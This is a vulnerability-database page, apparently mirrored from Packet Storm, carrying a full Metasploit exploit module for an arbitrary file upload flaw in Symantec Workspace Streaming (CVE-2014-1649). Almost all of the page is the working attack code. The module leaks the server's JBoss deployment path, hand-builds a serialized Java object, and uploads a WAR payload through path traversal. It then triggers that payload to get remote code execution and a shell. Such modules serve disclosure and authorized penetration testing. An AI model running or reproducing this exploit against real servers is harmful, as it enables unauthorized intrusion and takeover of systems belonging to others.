Lucene search
K

Symantec Workspace Streaming Arbitrary File Upload

🗓️ 20 May 2014 00:00:00Reported by rgodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Symantec Workspace Streaming Arbitrary File Upload vulnerability allows for uploading arbitrary files under the server root, exploiting code execution flaw in Symantec Workspace Streaming

Related
Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rexml/document'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include REXML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Symantec Workspace Streaming Arbitrary File Upload',  
'Description' => %q{  
This module exploits a code execution flaw in Symantec Workspace Streaming. The  
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the  
as_agent.exe service, which allows for uploading arbitrary files under the server root.  
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order  
to achieve remote code execution. This module has been tested successfully on Symantec  
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single  
machine deployment, and also in the backend role in a multiple machine deployment.  
},  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-1649'],  
['BID', '67189'],  
['ZDI', '14-127'],  
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']  
],  
'Privileged' => true,  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 12 2014'))  
  
register_options(  
[  
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)  
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy)  
], self.class)  
end  
  
def send_xml_rpc_request(xml)  
res = send_request_cgi(  
{  
'uri' => normalize_uri("/", "xmlrpc"),  
'method' => 'POST',  
'ctype' => 'text/xml; charset=UTF-8',  
'data' => xml  
})  
  
res  
end  
  
def build_soap_get_file(file_path)  
xml = Document.new  
xml.add_element(  
"methodCall",  
{  
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"  
})  
method_name = xml.root.add_element("methodName")  
method_name.text = "ManagementAgentServer.getFile"  
  
params = xml.root.add_element("params")  
  
param_server_root = params.add_element("param")  
value_server_root = param_server_root.add_element("value")  
value_server_root.text = "*AWESE"  
  
param_file_type = params.add_element("param")  
value_file_type = param_file_type.add_element("value")  
type_file_type = value_file_type.add_element("i4")  
type_file_type.text = "0" # build path from the server root directory  
  
param_file_name = params.add_element("param")  
value_file_name = param_file_name.add_element("value")  
value_file_name.text = file_path  
  
param_file_binary = params.add_element("param")  
value_file_binary = param_file_binary.add_element("value")  
type_file_binary = value_file_binary.add_element("boolean")  
type_file_binary.text = "0"  
  
xml << XMLDecl.new("1.0", "UTF-8")  
  
xml.to_s  
end  
  
def build_soap_put_file(file)  
xml = Document.new  
xml.add_element(  
"methodCall",  
{  
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"  
})  
method_name = xml.root.add_element("methodName")  
method_name.text = "ManagementAgentServer.putFile"  
  
params = xml.root.add_element("params")  
  
param_server_root = params.add_element("param")  
value_server_root = param_server_root.add_element("value")  
value_server_root.text = "*AWESE"  
  
param_file_type = params.add_element("param")  
value_file_type = param_file_type.add_element("value")  
type_file_type = value_file_type.add_element("i4")  
type_file_type.text = "0" # build path from the server root directory  
  
param_file = params.add_element("param")  
value_file = param_file.add_element("value")  
type_value_file = value_file.add_element("ex:serializable")  
type_value_file.text = file  
  
xml << XMLDecl.new("1.0", "UTF-8")  
  
xml.to_s  
end  
  
def build_soap_check_put  
xml = Document.new  
xml.add_element(  
"methodCall",  
{  
'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"  
})  
method_name = xml.root.add_element("methodName")  
method_name.text = "ManagementAgentServer.putFile"  
xml.root.add_element("params")  
xml << XMLDecl.new("1.0", "UTF-8")  
xml.to_s  
end  
  
def parse_method_response(xml)  
doc = Document.new(xml)  
file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable")  
  
unless file.nil?  
file = Rex::Text.decode_base64(file.text)  
end  
  
file  
end  
  
def get_file(path)  
xml_call = build_soap_get_file(path)  
file = nil  
  
res = send_xml_rpc_request(xml_call)  
  
if res && res.code == 200 && res.body  
file = parse_method_response(res.body.to_s)  
end  
  
file  
end  
  
def put_file(file)  
result = nil  
xml_call = build_soap_put_file(file)  
  
res = send_xml_rpc_request(xml_call)  
  
if res && res.code == 200 && res.body  
result = parse_method_response(res.body.to_s)  
end  
  
result  
end  
  
def upload_war(war_name, war, dst)  
result = false  
java_file = build_java_file_info("#{dst}#{war_name}", war)  
java_file = Rex::Text.encode_base64(java_file)  
  
res = put_file(java_file)  
  
if res && res =~ /ReturnObject.*StatusMessage.*Boolean/  
result = true  
end  
  
result  
end  
  
def jboss_deploy_path  
path = nil  
leak = get_file("bin/CreateDatabaseSchema.cmd")  
  
if leak && leak =~ /\[INSTALLDIR\](.*)ste\/ste.jar/  
path = $1  
end  
  
path  
end  
  
def check  
check_result = Exploit::CheckCode::Safe  
  
if jboss_deploy_path.nil?  
xml = build_soap_check_put  
res = send_xml_rpc_request(xml)  
  
if res && res.code == 200 && res.body && res.body.to_s =~ /No method matching arguments/  
check_result = Exploit::CheckCode::Detected  
end  
else  
check_result = Exploit::CheckCode::Appears  
end  
  
check_result  
end  
  
def exploit  
print_status("#{peer} - Leaking the jboss deployment directory...")  
jboss_path =jboss_deploy_path  
  
if jboss_path.nil?  
fail_with(Exploit::Unknown, "#{peer} - Failed to disclose the jboss deployment directory")  
end  
  
print_status("#{peer} - Building WAR payload...")  
  
app_name = Rex::Text.rand_text_alpha(4 + rand(4))  
war_name = "#{app_name}.war"  
war = payload.encoded_war({ :app_name => app_name }).to_s  
deploy_dir = "..#{jboss_path}"  
  
print_status("#{peer} - Uploading WAR payload...")  
  
res = upload_war(war_name, war, deploy_dir)  
  
unless res  
fail_with(Exploit::Unknown, "#{peer} - Failed to upload the war payload")  
end  
  
register_files_for_cleanup("../server/appstream/deploy/#{war_name}")  
  
10.times do  
select(nil, nil, nil, 2)  
  
# Now make a request to trigger the newly deployed war  
print_status("#{rhost}:#{ste_port} - Attempting to launch payload in deployed WAR...")  
res = send_request_cgi(  
{  
'uri' => normalize_uri("/", app_name, Rex::Text.rand_text_alpha(rand(8)+8)),  
'method' => 'GET',  
'rport' => ste_port # Auto Deploy can be reached through the "as_ste.exe" service  
})  
# Failure. The request timed out or the server went away.  
break if res.nil?  
# Success! Triggered the payload, should have a shell incoming  
break if res.code == 200  
end  
  
end  
  
def ste_port  
datastore['STE_PORT']  
end  
  
# com.appstream.cm.general.FileInfo serialized object  
def build_java_file_info(file_name, contents)  
stream = "\xac\xed" # stream magic  
stream << "\x00\x05" # stream version  
stream << "\x73" # new Object  
  
stream << "\x72" # TC_CLASSDESC  
stream << ["com.appstream.cm.general.FileInfo".length].pack("n")  
stream << "com.appstream.cm.general.FileInfo"  
stream << "\xa3\x02\xb6\x1e\xa1\x6b\xf0\xa7" # class serial version identifier  
stream << "\x02" # flags SC_SERIALIZABLE  
stream << [6].pack("n") # number of fields in the class  
  
stream << "Z" # boolean  
stream << ["bLastPage".length].pack("n")  
stream << "bLastPage"  
  
stream << "J" # long  
stream << ["lFileSize".length].pack("n")  
stream << "lFileSize"  
  
stream << "[" # array  
stream << ["baContent".length].pack("n")  
stream << "baContent"  
stream << "\x74" # TC_STRING  
stream << ["[B".length].pack("n")  
stream << "[B" # field's type (byte array)  
  
stream << "L" # Object  
stream << ["dTimeStamp".length].pack("n")  
stream << "dTimeStamp"  
stream << "\x74" # TC_STRING  
stream << ["Ljava/util/Date;".length].pack("n")  
stream << "Ljava/util/Date;" #field's type (Date)  
  
stream << "L" # Object  
stream << ["sContent".length].pack("n")  
stream << "sContent"  
stream << "\x74" # TC_STRING  
stream << ["Ljava/lang/String;".length].pack("n")  
stream << "Ljava/lang/String;" #field's type (String)  
  
stream << "L" # Object  
stream << ["sFileName".length].pack("n")  
stream << "sFileName"  
stream << "\x71" # TC_REFERENCE  
stream << [0x007e0003].pack("N") # handle  
  
stream << "\x78" # TC_ENDBLOCKDATA  
stream << "\x70" # TC_NULL  
  
# Values  
stream << [1].pack("c") # bLastPage  
  
stream << [0xffffffff, 0xffffffff].pack("NN") # lFileSize  
  
stream << "\x75" # TC_ARRAY  
stream << "\x72" # TC_CLASSDESC  
stream << ["[B".length].pack("n")  
stream << "[B" # byte array)  
stream << "\xac\xf3\x17\xf8\x06\x08\x54\xe0" # class serial version identifier  
stream << "\x02" # flags SC_SERIALIZABLE  
stream << [0].pack("n") # number of fields in the class  
stream << "\x78" # TC_ENDBLOCKDATA  
stream << "\x70" # TC_NULL  
stream << [contents.length].pack("N")  
stream << contents # baContent  
  
stream << "\x70" # TC_NULL # dTimeStamp  
  
stream << "\x70" # TC_NULL # sContent  
  
stream << "\x74" # TC_STRING  
stream << [file_name.length].pack("n")  
stream << file_name # sFileName  
  
stream  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation